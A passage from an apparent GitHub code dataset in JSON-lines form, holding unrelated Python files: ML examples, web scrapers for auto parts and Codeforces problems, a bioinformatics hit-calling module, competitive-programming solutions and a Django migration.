frame\n\n@app.route('/videoforObjdetect')\ndef videoforObjdetect():\n frame = Response(\n objj_search(), mimetype='multipart/x-mixed-replace; boundary=frame')\n return frame\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n\n","repo_name":"Priykrit/LearnWithAI","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34072599166","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nAn example for parameter selection using grid search\n\n\"\"\"\nimport sys\nsys.path.append(\"..\")\nfrom sklearn.datasets import load_wine\nfrom src.BaseSVDD import BaseSVDD, BananaDataset\nfrom sklearn.model_selection import KFold, LeaveOneOut, ShuffleSplit\nfrom sklearn.model_selection import learning_curve, GridSearchCV\n\n# Banana-shaped dataset generation and partitioning\nX, y = BananaDataset.generate(number=100, display='off')\nX_train, X_test, y_train, y_test = BananaDataset.split(X, y, ratio=0.3)\n\nparam_grid = [\n {\"kernel\": [\"rbf\"], \"gamma\": [0.1, 0.2, 0.5], \"C\": [0.1, 0.5, 1]},\n {\"kernel\": [\"linear\"], \"C\": [0.1, 0.5, 1]},\n {\"kernel\": [\"poly\"], \"C\": [0.1, 0.5, 1], \"degree\": [2, 3, 4, 5]},\n]\n\nsvdd = GridSearchCV(BaseSVDD(display='off'), param_grid, cv=5, scoring=\"accuracy\")\nsvdd.fit(X_train, y_train)\nprint(\"best parameters:\")\nprint(svdd.best_params_)\nprint(\"\\n\")\n\n# \nbest_model = svdd.best_estimator_\nmeans = svdd.cv_results_[\"mean_test_score\"]\nstds = svdd.cv_results_[\"std_test_score\"]\n\nfor mean, std, params in zip(means, stds, svdd.cv_results_[\"params\"]):\n print(\"%0.3f (+/-%0.03f) for %r\" % (mean, std * 2, params))\nprint()\n","repo_name":"iqiukp/SVDD-Python","sub_path":"examples/svdd_example_grid_search.py","file_name":"svdd_example_grid_search.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"72"} +{"seq_id":"41469265268","text":"### Code for PySpark on DataProc\nfrom pyspark.sql import SparkSession\n# Might not need this\nfrom pyspark.sql.types import StructType, StructField, IntegerType, StringType, BooleanType, TimestampType, LongType\nfrom pyspark.sql.functions import *\nimport os\nimport csv\nimport itertools\nfile_source = \"gs://canvas-data-txt-ecasd/canvasdata/\"\n\n\ncanvas_data_txts = ['wiki_page_fact.txt', 'wiki_page_dim.txt']\n\ncanvas_spark_df_dictionary = {file_name.replace(\".txt\",\"_df\"):\n spark.read.csv(file_source + file_name, \n inferSchema=True, \n sep = \"\\t\", \n nullValue='\\\\N', \n header=True) \n for file_name in canvas_data_txts}\n\nwiki_pg_fact = canvas_spark_df_dictionary['wiki_page_fact_df']\nwiki_pg_dim = canvas_spark_df_dictionary['wiki_page_dim_df']\n\nstandards = ['5.NBT.1', '5.NBT.3', '5.NBT.3', '5.NBT.3a', '5.NBT.3b', '5.NBT.4', '5.NBT.7']\nstandards_dic_with_url = {standard:\n [row.url for row in \n wiki_pg_dim[wiki_pg_dim['body']\n .like('%' + standard + '%')].select('url').collect()]\n for standard in standards}\n\nkeys = sorted(standards_dic_with_url.keys())\nwith open(\"stand_url.csv\", \"w\") as outfile:\n writer = csv.writer(outfile, delimiter = \",\")\n writer.writerow(keys)\n # Note the izip_longest because pyspark is 2.7\n writer.writerows(itertools.izip_longest(*[standards_dic_with_url[key] for key in keys]))\n\n#Exit pyspark and run gsutil cp stand_url.csv gs://canvas-data-txt-ecasd/canvasdata/\n","repo_name":"danaswanstrom/CanvasDataCurriculumMapping","sub_path":"pyspark.py","file_name":"pyspark.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34904225936","text":"import csv,time\nfrom requests_html import HTMLSession\n\ncsv_file = open('scrappingRock.csv', 'w')\ncsv_writer = csv.writer(csv_file)\ncsv_writer.writerow(\n ['Brand', 'Year', 'Model', 'Engine', 'Category', 'Sub-Category', 'Manufacturer', 'Part Number', 'Type', 'Price'])\n\nproxies = {\n \"https\": \"https://103.91.128.49:47768\",\n \"http\": \"https://103.91.128.49:47768\"\n}\n\nsession = HTMLSession()\nurl = 'https://www.rockauto.com'\nresponse = session.get(url, proxies=proxies)\nprint(\"1\")\n\nbrands = response.html.find('.navlabellink.nvoffset.nnormal')\n\nfor brand in brands[2:3]:\n # print(brand.attrs['href'])\n url = 'https://www.rockauto.com' + brand.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"2\")\n time.sleep(5)\n years = response.html.find('.navlabellink.nvoffset.nnormal')\n for year in years[1:]: #[1:2]\n # print(year.attrs['href'])\n url = 'https://www.rockauto.com' + year.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"3\")\n time.sleep(5)\n models = response.html.find('.navlabellink.nvoffset.nnormal')\n for model in models[2:]: # [2:3]\n # print(model.attrs['href'])\n url = 'https://www.rockauto.com' + model.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"4\")\n time.sleep(5)\n engines = response.html.find('.navlabellink.nvoffset.nnormal')\n for engine in engines[3:]: # [3:4]\n # print(engine.attrs['href'])\n url = 'https://www.rockauto.com' + engine.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"5\")\n time.sleep(5)\n categories = response.html.find('.navlabellink.nvoffset.nnormal')\n for category in categories[4:]: # [4:5]\n # print(category.attrs['href'])\n url = 'https://www.rockauto.com' + category.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"6\")\n time.sleep(5)\n subCategories = response.html.find('.navlabellink.nvoffset.nimportant')\n if len(subCategories) == 0:\n subCategories = response.html.find('.navlabellink.nvoffset.nnormal')\n\n for subCategory in subCategories[5:]: # [0:1]\n # print(subCategory.attrs['href'])\n url = 'https://www.rockauto.com' + subCategory.attrs['href']\n response = session.get(url, proxies=proxies)\n print(\"7\")\n time.sleep(5)\n manufacturers = response.html.find('.listing-inner')\n for manufacturer in manufacturers:\n productManufacturer = manufacturer.find('.listing-final-manufacturer', first=True).text\n print(productManufacturer)\n\n productPartNumber = manufacturer.find('.listing-final-partnumber', first=True).text\n print(productPartNumber)\n\n productType = manufacturer.find('.span-link-underline-remover', first=True)\n if productType is None:\n productType = 'N/A'\n print(productType)\n else:\n productType = productType.text\n print(productType)\n\n productPrice = manufacturer.find('.ra-formatted-amount', first=True).text\n print(productPrice)\n print(\"-----------------------\")\n csv_writer.writerow(\n [brand.text, year.text, model.text, engine.text, category.text, subCategory.text,\n productManufacturer, productPartNumber, productType, productPrice])\n\ncsv_file.close()\n","repo_name":"Faiyajz/ScrapperRock","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70151380074","text":"'''\nAnalyze phip-seq scores to determine hits.\n\nThe idea is that two clones with overlapping sequences that both have very\nhigh scores likely indicate a hit (i.e. an antibody response to the\nshared part of their sequences).\n\nWe first convert scores to percentile ranks. By percentile rank we mean a\nnumber between 0 and 1 where higher scores have lower ranks. The highest score\nin the scores matrix has percentile rank 0. We are looking for clones that have\nlow enough percentile ranks to be significant. If we draw a clone at random,\nits percent rank R is distributed as Uniform(0,1).\n\nFor each sample and *pair* of phage clones that have overlapping sequences\n(as determined by BLAST), we consider the percentile rank of the clones.\nCall these ranks R1 and R2. Intuitively, if these are both very low then we\nwant to call a hit. Our null hypothesis informally is that R1 and R2 are\nindependent, since our key assumption is that clones that share sequence will\nbe correlated only when there is a real antibody response to their shared\nsequence.\n\nMore formally, we define the null hypothesis to be that the joint distribution\nof (R1, R2) is the 2-dimensional unit uniform distribution. We define\nR = max(R1, R2) as a test statistic. Under the null hypothesis, for any constant\nk, Prob[R < k] = k^2, since this is just the probability of sampling two values\nboth less than k from a unit uniform distribution.\n\nWe can therefore take p=R^2 to be the p-value for this pair of clones.\nIt gives the probability of observing two clones with percentile ranks as\nlow as these under the null hypothesis.\n\nThese p-values are reported as q values after Benjamini-Hochberg FDR correction.\n'''\nfrom __future__ import (\n print_function,\n division,\n absolute_import,\n)\nimport sys\nimport argparse\nimport numpy\nimport statsmodels.stats.multitest\nfrom tqdm import tqdm\ntqdm.monitor_interval = 0 # see https://github.com/tqdm/tqdm/issues/481\n\nimport pandas\n\nfrom .common import say\n\nDEFAULTS = {\n 'fdr': 0.01,\n}\n\nparser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\nparser.add_argument(\n \"blast_results\",\n metavar=\"FILE.csv\",\n help=\"Blast results aligning clones against clones\")\n\nparser.add_argument(\n \"scores\",\n metavar=\"FILE.csv\",\n help=\"Scores matrix. Rows are clones, columns are samples. First col \"\n \"gives clone ids.\")\n\nparser.add_argument(\n \"--counts\",\n metavar=\"FILE.csv\",\n help=\"Clones x samples matrix with read counts. This is not used in \"\n \"the computation but will be included in the output for easier \"\n \"interpretation.\")\n\nparser.add_argument(\n \"--fdr\",\n type=float,\n metavar=\"X\",\n default=DEFAULTS['fdr'],\n help=\"False discovery rate. Overlap hits with FDR < X are considered high \"\n \"confidence. Default: %(default)s)\")\n\nparser.add_argument(\n \"--out\",\n required=True,\n metavar=\"FILE.csv\",\n help=\"Output file for hits\")\n\n\ndef run(argv=sys.argv[1:]):\n args = parser.parse_args(argv)\n\n say(\"Reading blast alignments\")\n blast_df = pandas.read_csv(\n args.blast_results, usecols=[\"clone\", \"title\", \"midline\"])\n say(\"Read blast alignments:\\n\", blast_df)\n\n scores_df = pandas.read_csv(args.scores, index_col=0)\n say(\"Read scores:\\n\", scores_df)\n\n counts_df = None\n if args.counts:\n counts_df = pandas.read_csv(args.counts, index_col=0, sep=None)\n\n overlap_hits_df = call_hits(\n blast_df=blast_df,\n scores_df=scores_df,\n counts_df=counts_df,\n fdr=args.fdr)\n\n say(\"Writing overlap hits.\")\n overlap_hits_df.to_csv(args.out, index=False)\n say(\"Wrote: \", args.out)\n\n\ndef call_hits(\n blast_df,\n scores_df,\n counts_df=None,\n fdr=DEFAULTS['fdr']):\n blast_df = blast_df.loc[\n blast_df.clone.isin(scores_df.index) &\n blast_df.title.isin(scores_df.index) &\n (blast_df.clone != blast_df.title)\n ]\n say(\"Subselected to non-self blast hits present in scores. New shape\",\n *blast_df.shape)\n if len(blast_df) == 0:\n raise ValueError(\"No blast alignments\")\n\n clone_to_others = blast_df.groupby(\"clone\").title.unique().map(set)\n midlines = blast_df.groupby([\"clone\", \"title\"]).midline.unique()\n\n del blast_df\n say(\"Clone map:\\n\", clone_to_others)\n\n say(\"Calculating 2-cliques\")\n cliques_set = set()\n for clone, others in tqdm(clone_to_others.items(), total=len(clone_to_others)):\n for other in others:\n if clone in clone_to_others.get(other, {}):\n tpl = tuple(sorted([clone, other]))\n cliques_set.add(tpl)\n\n cliques = pandas.Series(sorted(cliques_set))\n del cliques_set\n say(\"Done. Cliques:\", len(cliques))\n\n say(\"Calculating ranks\")\n ranks_df = scores_df.rank(pct=True, ascending=False, method=\"max\")\n say(\"Done.\")\n\n say(\"Calculating max_ranks_by_clique\")\n first_clone_ranks = ranks_df.loc[cliques.str.get(0)]\n first_clone_ranks.index = cliques\n\n second_clone_ranks = ranks_df.loc[cliques.str.get(1)]\n second_clone_ranks.index = cliques\n\n max_ranks_by_clique = first_clone_ranks.where(\n first_clone_ranks > second_clone_ranks, second_clone_ranks)\n\n del first_clone_ranks\n del second_clone_ranks\n del cliques\n\n say(\"Done:\\n\", max_ranks_by_clique)\n say(\"Calculating overlap hits\")\n\n p_values = max_ranks_by_clique**2\n\n hits_df = []\n\n for sample_id in tqdm(scores_df.columns):\n # Clone sets\n q_values = statsmodels.stats.multitest.multipletests(\n p_values[sample_id],\n method=\"fdr_bh\")[1]\n take = q_values < fdr\n df = pandas.DataFrame({\n \"q\": q_values[take]\n }, index=p_values.index[take])\n\n df[\"p\"] = p_values.loc[df.index, sample_id]\n df[\"max_rank\"] = max_ranks_by_clique.loc[df.index, sample_id]\n df[\"sample_id\"] = sample_id\n df[\"clone1\"] = df.index.str.get(0)\n df[\"clone2\"] = df.index.str.get(1)\n hits_df.append(df.reset_index(drop=True))\n\n hits_df = pandas.concat(hits_df, ignore_index=True)\n hits_df[\"midline\"] = hits_df.set_index(\n [\"clone1\", \"clone2\"]).index.map(midlines).map(\", \".join)\n say(\"Done. Overlap hits:\\n\", hits_df)\n\n # Annotate scores\n for sample_id, sub_df in hits_df.groupby(\"sample_id\"):\n for clone in [\"clone1\", \"clone2\"]:\n hits_df.loc[\n sub_df.index,\n \"%s_score\" % clone\n ] = sub_df[clone].map(scores_df[sample_id])\n\n if counts_df is not None:\n say(\"Annotating counts\")\n cpm_df = (\n counts_df.T * 1e6 / numpy.expand_dims(counts_df.sum(), 1)).T\n for sample_id, sub_df in hits_df.groupby(\"sample_id\"):\n for clone in [\"clone1\", \"clone2\"]:\n hits_df.loc[\n sub_df.index,\n \"%s_count\" % clone\n ] = sub_df[clone].map(counts_df[sample_id])\n hits_df.loc[\n sub_df.index,\n \"%s_cpm\" % clone\n ] = sub_df[clone].map(cpm_df[sample_id])\n hits_df.loc[\n sub_df.index,\n \"%s_rank\" % clone\n ] = sub_df[clone].map(ranks_df[sample_id])\n say(\"Done annotating\")\n\n return hits_df.sort_values(\"p\")\n","repo_name":"openvax/phipkit","sub_path":"phipkit/call_hits.py","file_name":"call_hits.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9446905218","text":"class Solution:\n def levelOrderBottom(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n tree = []\n tree_val= []\n if root:\n tree.append([root])\n tree_val.append([root.val])\n for nodes in tree:\n sub = []\n sub_val = []\n for node in nodes:\n if node.left:\n sub.append(node.left)\n sub_val.append(node.left.val)\n if node.right:\n sub.append(node.right)\n sub_val.append(node.right.val)\n if sub != []:\n tree.append(sub)\n tree_val.append(sub_val)\n \n return self.reverList(tree_val)\n \n def reverList(self, tree):\n rev_tree = []\n for i in range(len(tree)-1, -1, -1):\n rev_tree.append(tree[i])\n return rev_tree","repo_name":"Ting007/leetcodePractice","sub_path":"107BiTrLvlOrdTrvsII.py","file_name":"107BiTrLvlOrdTrvsII.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5111222493","text":"\nimport numpy as np\nimport pandas as pd\nimport h5py\nimport os\n\n\nos.chdir('/Users/wangchengming/Documents/HKUST/5013/MSBD5013/pythonplatform/')\nscaler = pd.read_json('scaler.json')\nmin_val = scaler['min'].values\nrange_val = scaler.range.values\n\n\ndef ave(arr, i, step=45):\n li = []\n for j in range(step):\n li.append(arr[i+j])\n return np.mean(li)\n\n\ndef scaling(series):\n return (series - min_val) / range_val\n\ndef unscaling(series):\n return range_val * series + min_val\n\n\n# Read in h5 data as dict and pandas dataframe\ndef read_h5(path):\n import pandas as pd\n import h5py\n\n dicts = {}\n indexes = ['A.DCE', 'AG.SHF', 'AU.SHF', 'I.DCE', 'IC.CFE', 'IF.CFE',\n 'IH.CFE', 'J.DCE', 'JM.DCE', 'M.DCE', 'RB.SHF', 'Y.DCE', 'ZC.CZC']\n cols = ['open', 'high', 'low', 'close', 'volumn']\n\n if 'format1' in path:\n with h5py.File(path, 'r') as f:\n keys = list(f.keys())\n for i in range(len(keys)):\n dat = pd.read_hdf(path, key=keys[i])\n dicts[keys[i]] = dat\n\n else:\n with h5py.File(path, 'r') as f:\n keys = list(f.keys())\n for i in range(len(keys)):\n dat = pd.DataFrame(f[keys[i]][:])\n dat.index = indexes\n dat.columns = cols\n dicts[keys[i]] = dat\n return dicts\n\n","repo_name":"wcm95/5013_Project","sub_path":"LSTM_Strategy/auxiliary.py","file_name":"auxiliary.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34442853279","text":"from numpy import *\nimport operator\n\ndef createDataSet():\n group = array([[1.0, 1.1], [1.0, 1.0], [0, 0], [0, 0.1]])\n labels = ['A', 'A', 'B', 'B']\n return group, labels\n\ndef classify0(inX, dataSet, labels, k):\n dataSetSize = dataSet.shape[0]\n diffMat = tile(inX, (dataSetSize, 1)) - dataSet\n sqDiffMat = diffMat**2\n sqDistances = sqDiffMat.sum(axis=1)\n distances = sqDistances**0.5\n sortedDistIndicies = distances.argsort()\n classCount = {}\n for i in range(k):\n voteILabel = labels[sortedDistIndicies[i]]\n classCount[voteILabel] = classCount.get(voteILabel, 0) + 1\n sortedClassCount = sorted(classCount.iteritems(), key=operator.itemgetter(1), reverse=True)\n return sortedClassCount[0][0]\n\ndef file2matrix(filename):\n fr = open(filename)\n lines = fr.readlines()\n numberOfLines = len(lines)\n returnMat = zeros((numberOfLines, 3))\n classLabelVector = []\n index = 0\n for line in lines:\n line = line.strip()\n listFromLine = line.split('\\t')\n returnMat[index, :] = listFromLine[0:3]\n classLabelVector.append(listFromLine[-1])\n index += 1\n return returnMat, classLabelVector\n\n","repo_name":"flopezluis/MachineLearning","sub_path":"k-nearest_neighbors/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"9847510959","text":"# -*- coding:utf-8 -*-\n\n'''\n第 10 题\nauthor: Honglei1990\nurl:http://www.pythonchallenge.com/pc/return/bull.html\n页面提示 :len(a[30]) = ?\n点击公牛 出现 sequence.txt 页面 提示: a = [1, 11, 21, 1211, 111221,\n源代码 title : what are you looking at?\na[0] = 1, a[1] = 11, a[2] = 21, a[3] = 1211, a[4] = 111221\n'''\n#想法1 ,无视列表值本身,根据len(a[1]) + len(a[2]) = len(a[3])直接计算第30个的长度\n# result = [1, 2, 2, 4, 6]\n# for i in range(26):\n# result.append(result[-1]+result[-2])\n# print(result[30])\n#使用答案 1664080.html 无法进入 ,似乎是错误的 ,重新来过\n\n# 想法2, 想出值是如何产生的,并根据值来计算长度\n# a[0] = 1 , 1个1 结果是 11\n# a[1] = 11, 2个1 结果是 21\n# a[2] = 21, 1个2 1个1 结果是 1211\n# a[3] = 1211, 1个1 1个2 2个1 结果是 111221\n# a[4] 111221 3个1 2个2 1个1 结果是 312211\n# a[5] 212211 1个2 1个1 2个2 2个1 结果是 12112221\n# 根据以上 编写 一个数据结构算法\ndef getNext(number):\n CureentNum = number[0] # 把number第一个数赋值给当前数CureentNum\n CountNum = 1 # 计算次数的变量\n resultNum = '' # 存放结果的变量\n\n for i in number[1:]:\n if CureentNum == i:\n CountNum += 1\n else:\n resultNum += str(CountNum) + CureentNum\n CureentNum = i\n CountNum = 1\n resultNum += str(CountNum) + CureentNum\n return resultNum\n\na = '1'\nfor i in range(30):\n a = getNext(a)\nprint(len(a))\n# http://www.pythonchallenge.com/pc/return/5808.html","repo_name":"Honglei1990/PythonChallenge","sub_path":"code/Code-10.py","file_name":"Code-10.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"6629859302","text":"import csv\nimport os\nfrom time import sleep\nimport traceback\nfrom typing import Optional\nimport common\nimport requests\n\nfrom bs4 import BeautifulSoup\n\n\nPROBLEM_STATEMENT_SELECTOR = '.problem-statement'\nTITLE_SELECTOR = PROBLEM_STATEMENT_SELECTOR + ' .title'\nSTATEMENT_SELECTOR = PROBLEM_STATEMENT_SELECTOR + ' .header + div'\nINPUT_SPECIFICATION_SELECTOR = PROBLEM_STATEMENT_SELECTOR + ' .input-specification'\nOUTPUT_SPECIFICATION_SELECTOR = PROBLEM_STATEMENT_SELECTOR + ' .output-specification'\nTAG_SELECTOR = 'span.tag-box'\n\nDATASET_FILE = os.path.join('dataset', 'cf_problems.csv')\nINPUT_FILE = os.path.join('dataset', 'input.csv')\n\nCONTEST_ID = 'contest_id'\nPROBLEM_ID = 'problem_id'\nTITLE = 'title'\nSTATEMENT = 'statement'\nINPUT_SPEC = 'input_spec'\nOUTPUT_SPEC = 'output_spec'\nURL_KEY = 'url'\nTAGS = 'tags'\nIS_INTERACTIVE = 'is_interactive'\n\nCSV_FIELDNAMES = [CONTEST_ID, PROBLEM_ID, TITLE, STATEMENT, INPUT_SPEC, OUTPUT_SPEC, URL_KEY, TAGS, IS_INTERACTIVE]\n\n\ndef get_csv_reader(file_name):\n with open(file_name, 'w+') as csv_file:\n return csv.DictReader(csv_file)\n\ndef get_csv_writer(file_name):\n with open(file_name, 'w+') as csv_file:\n return csv.DictWriter(csv_file, fieldnames=CSV_FIELDNAMES)\n\ndef get_problem_title(soup: BeautifulSoup):\n # we splice because the problem title has the problem id in it e.g. \"A. Bit++\"\n return soup.select_one(TITLE_SELECTOR).text[3:]\n\ndef get_problem_statement(soup: BeautifulSoup):\n return soup.select_one(STATEMENT_SELECTOR).text\n\ndef get_input_spec(soup: BeautifulSoup):\n return soup.select_one(INPUT_SPECIFICATION_SELECTOR).text\n\ndef get_output_spec(soup: BeautifulSoup) -> Optional[str]:\n try:\n return soup.select_one(OUTPUT_SPECIFICATION_SELECTOR).text\n except AttributeError:\n return None\n\ndef get_tags(soup: BeautifulSoup):\n tags = []\n for tag in soup.select(TAG_SELECTOR):\n tags.append(tag.text.strip())\n return ';'.join(tags)\n\ndef get_problem_details(contest_id, problem_id, rcpc):\n\n url = f\"https://codeforces.com/contest/{contest_id}/problem/{problem_id}\"\n\n print(url)\n cookies = {\n 'RCPC': rcpc,\n }\n page = requests.get(url, cookies=cookies)\n # print('page status code', page.status_code)\n\n\n soup = BeautifulSoup(page.content, \"html.parser\")\n # print(soup)\n\n # Might be None if it's an interactive problem\n output_spec = get_output_spec(soup)\n\n return {\n CONTEST_ID: contest_id,\n PROBLEM_ID: problem_id,\n TITLE: get_problem_title(soup),\n STATEMENT: get_problem_statement(soup),\n INPUT_SPEC: get_input_spec(soup),\n OUTPUT_SPEC: output_spec if output_spec else '',\n URL_KEY: url,\n TAGS: get_tags(soup),\n IS_INTERACTIVE: output_spec is None\n }\n\ndef main():\n existing_problem_ids = set()\n try:\n with open(DATASET_FILE, 'r') as f:\n reader = csv.DictReader(f)\n for row in reader:\n existing_problem_ids.add((row[CONTEST_ID], row[PROBLEM_ID]))\n except FileNotFoundError:\n print('Dataset file does not exist. Creating it')\n\n arg_parser = common.default_argument_parser()\n arg_parser.add_argument('--rcpc', required=True, type=str, help='RCPC token. Check the project\\'s README to see how to get it')\n\n args = arg_parser.parse_args()\n\n with open(DATASET_FILE, 'a+', encoding='utf-8') as f:\n writer = csv.DictWriter(f, fieldnames=CSV_FIELDNAMES)\n if len(existing_problem_ids) == 0:\n writer.writeheader()\n\n with open(INPUT_FILE, 'r+') as f:\n reader = csv.DictReader(f)\n for input_row in reader:\n if (input_row[CONTEST_ID], input_row[PROBLEM_ID]) not in existing_problem_ids:\n print('Processing:', input_row[CONTEST_ID], input_row[PROBLEM_ID])\n try:\n problem_details = get_problem_details(input_row[CONTEST_ID], input_row[PROBLEM_ID], args.rcpc)\n # print('Problem info', problem_details)\n print(f'Problem {input_row[CONTEST_ID]}{input_row[PROBLEM_ID]} processed')\n writer.writerow(problem_details)\n except Exception as e:\n print('Failed to process:', input_row[CONTEST_ID], input_row[PROBLEM_ID])\n print(e)\n print(traceback.format_exc())\n else:\n pass\n # print('Problem already processed:', input_row[CONTEST_ID], input_row[PROBLEM_ID])\n\nif __name__ == '__main__':\n main()\n","repo_name":"magic-cp/cf-scraper","sub_path":"compute_dataset_with_input.py","file_name":"compute_dataset_with_input.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33341193551","text":"import sys, threading, heapq, math\nfrom collections import defaultdict, Counter\ninput = sys.stdin.readline\n\n\ndef main():\n s = input().strip()\n t = input().strip()\n needTree = False\n setS = set()\n setT = set()\n for char in s:\n setS.add(char)\n for char in t:\n setT.add(char)\n if char not in setS:\n needTree = True\n break\n if needTree:\n print(\"need tree\")\n else:\n Sptr, Tptr = 0, 0\n automation = False\n while Sptr < len(s) and Tptr < len(t):\n while Sptr < len(s) and s[Sptr] != t[Tptr]:\n Sptr += 1\n if Sptr < len(s) and Tptr == len(t)-1:\n automation = True\n Tptr += 1\n Sptr += 1\n if automation:\n print(\"automaton\")\n elif setS == setT and len(s) == len(t):\n print(\"array\")\n elif len(s) > len(t):\n print(\"both\")\n else:\n print(\"need tree\")\n \nmain()\n \n# threading.stack_size(1 << 27)\n# sys.setrecursionlimit(1 << 30)\n# main_thread = threading.Thread(target=main)\n# main_thread.start()\n# main_thread.join()\n ","repo_name":"natitedros/Competitive-Programming","sub_path":"campContest/SuffixStructures.py","file_name":"SuffixStructures.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"15116201269","text":"def main():\r\n\r\n N, M = map(int, input().split())\r\n bridges = [None] * M\r\n for m in range(M):\r\n bridges[m] = tuple(map(int, input().split()))\r\n\r\n tree = UnionFind(N)\r\n increments = [0] * M\r\n\r\n for m in range(M)[::-1]:\r\n\r\n if tree.is_same(*bridges[m]):\r\n continue\r\n\r\n increments[m] += tree.get_size(bridges[m][0]) * tree.get_size(bridges[m][1])\r\n tree.unite(*bridges[m])\r\n\r\n cumsum = 0\r\n for i in increments:\r\n cumsum += i\r\n print(cumsum)\r\n\r\n\r\nclass UnionFind:\r\n\r\n def __init__(self, n):\r\n self.par = list(range(n+1))\r\n self.rank = [0] * (n+1)\r\n self.size = [1] * (n+1)\r\n\r\n def find(self, x):\r\n if self.par[x] == x:\r\n return x\r\n else:\r\n self.par[x] = self.find(self.par[x])\r\n return self.par[x]\r\n\r\n def unite(self, x, y):\r\n x = self.find(x)\r\n y = self.find(y)\r\n if self.rank[x] > self.rank[y]:\r\n self.par[y] = x\r\n self.size[x] += self.size[y]\r\n elif self.rank[x] < self.rank[y]:\r\n self.par[x] = y\r\n self.size[y] += self.size[x]\r\n else:\r\n self.par[x] = y\r\n self.size[y] += self.size[x]\r\n self.rank[y] += 1\r\n\r\n def get_size(self, x):\r\n return self.size[self.find(x)]\r\n\r\n def is_same(self, x, y):\r\n return self.find(x) == self.find(y)\r\n\r\nmain()","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc120/D/4923719.py","file_name":"4923719.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"24907981678","text":"from django.db import migrations, models\n\nfrom ..sql import FinalRiskOfBiasScore\n\n\nclass Migration(migrations.Migration):\n initial = True\n\n dependencies = [\n (\"riskofbias\", \"0022_new_rob_scores\"),\n ]\n\n operations = [\n migrations.RunSQL(FinalRiskOfBiasScore.create, FinalRiskOfBiasScore.drop),\n migrations.CreateModel(\n name=\"FinalRiskOfBiasScore\",\n fields=[\n (\n \"id\",\n models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\"\n ),\n ),\n (\"score_score\", models.SmallIntegerField(verbose_name=\"Score\")),\n (\"is_default\", models.BooleanField()),\n (\"object_id\", models.IntegerField(null=True)),\n ],\n options={\"abstract\": False, \"managed\": False},\n ),\n ]\n","repo_name":"shapiromatron/hawc","sub_path":"hawc/apps/materialized/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"783319236","text":"\"\"\"\nInitialization Process: Creates directory structure and runs any \nother specific initialization processes.\n\"\"\"\n\nimport os\n\nNODELIST_FN = \"nodelist.txt\"\n\ndef main():\n print(\"Initializing...\")\n # Get current directory.\n cur_dir = os.getcwd()\n # Create outbox.\n outbox_path = os.path.join(cur_dir, \"outbox\")\n print(f\"Setting {outbox_path}...\", end=' ')\n os.mkdir(outbox_path)\n print(\"Complete!\")\n # Create inbox.\n inbox_path = os.path.join(cur_dir, \"inbox\")\n print(f\"Setting {inbox_path}...\", end=' ')\n os.mkdir(inbox_path)\n print(\"Complete!\")\n # Get list of nodes.\n with open(NODELIST_FN, 'r') as f:\n nodelist = f.read().strip().split()\n # Create inbox subdirectories.\n for node in nodelist:\n # node = '_'.join(node.split('.'))\n node_path = os.path.join(inbox_path, node)\n print(f\"Setting {node_path}...\", end=' ')\n os.mkdir(node_path)\n print(\"Complete!\")\n print(\"Initialization complete!\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"harikuts/con-net-sim","sub_path":"ping/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22315356805","text":"import sys\n\n\nn = int(input())\nan = list(map(int, sys.stdin.readline().split()))\nan.sort()\n\nans = 0\nfor i in range(0, n, 2):\n ans += an[i+1] - an[i]\n\nprint(ans)\n","repo_name":"guzhoudiaoke/practice","sub_path":"codeforces/1092B/python3/1092b.py","file_name":"1092b.py","file_ext":"py","file_size_in_byte":163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"38634483995","text":"import nba_api\nimport pandas as pd\nimport numpy as np\nimport requests\nimport time\nimport datetime as dt\nfrom nba_api.stats.static import players\nimport 